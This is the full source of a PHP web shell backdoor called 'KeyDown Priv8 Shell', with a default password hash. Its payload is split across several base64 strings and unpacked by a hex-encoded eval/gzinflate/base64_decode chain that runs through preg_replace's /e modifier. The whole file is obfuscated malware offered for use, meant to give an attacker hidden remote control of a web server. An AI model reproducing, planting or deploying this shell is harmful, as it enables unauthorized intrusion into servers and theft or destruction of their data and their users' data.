KeyDown Priv8 Shell Backdoor

<?php
/*
|===========================================|
|-------SHELL RECODED BY SYNCHRONIZER-------|
|--------   Default pass : key      --------|
|===========================================|
*/
$auth_pass="3c6e0b8a9c15224a8228b9a98ca1531d"; # Change Your MD5 Password #

$cjh2hkh = "RdzOJenTkzoYuiUzp2SvsOwUF40UeXFNSvdnJgdxSRt25JsiaOERlTT+jYCv/6cYU+Z6VR0Eu51IfN85GnDkEPc";
$cgh1jg = "NY7LboMwEEV/yThEEUtCIMUUGwwx2LsAjYQxjxa1CXx9h6";
$cjgjh4ghd = "GPFH+vLdnudXKkhqq+U2dha4wB5Yj5nXP36/avyeFmqqzuCksUInpTzVwA7MCt2fZxk2m6YMZ8mecuxPDwr6W6eEX";
$gkjf3 = "Fis6f/Z0AJ2Li6uqYqHRdaZei3HVKOhMeorPQVECIFqEa5yRa+d832XZLyPMxuc4ffmeG/5nnqQdQxZ4pc7tZOSoto4iyqPsyyoibzGJVk9kwU";
$payloader = "\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x70\x61\x79\x6c\x6f\x61\x64\x29\x2c\x30\x29\x29\x29";
$payload = $cgh1jg.$cjh2hkh.$gkjf3.$cjgjh4ghd;
preg_replace('/.*/e',$payloader,'.');
?>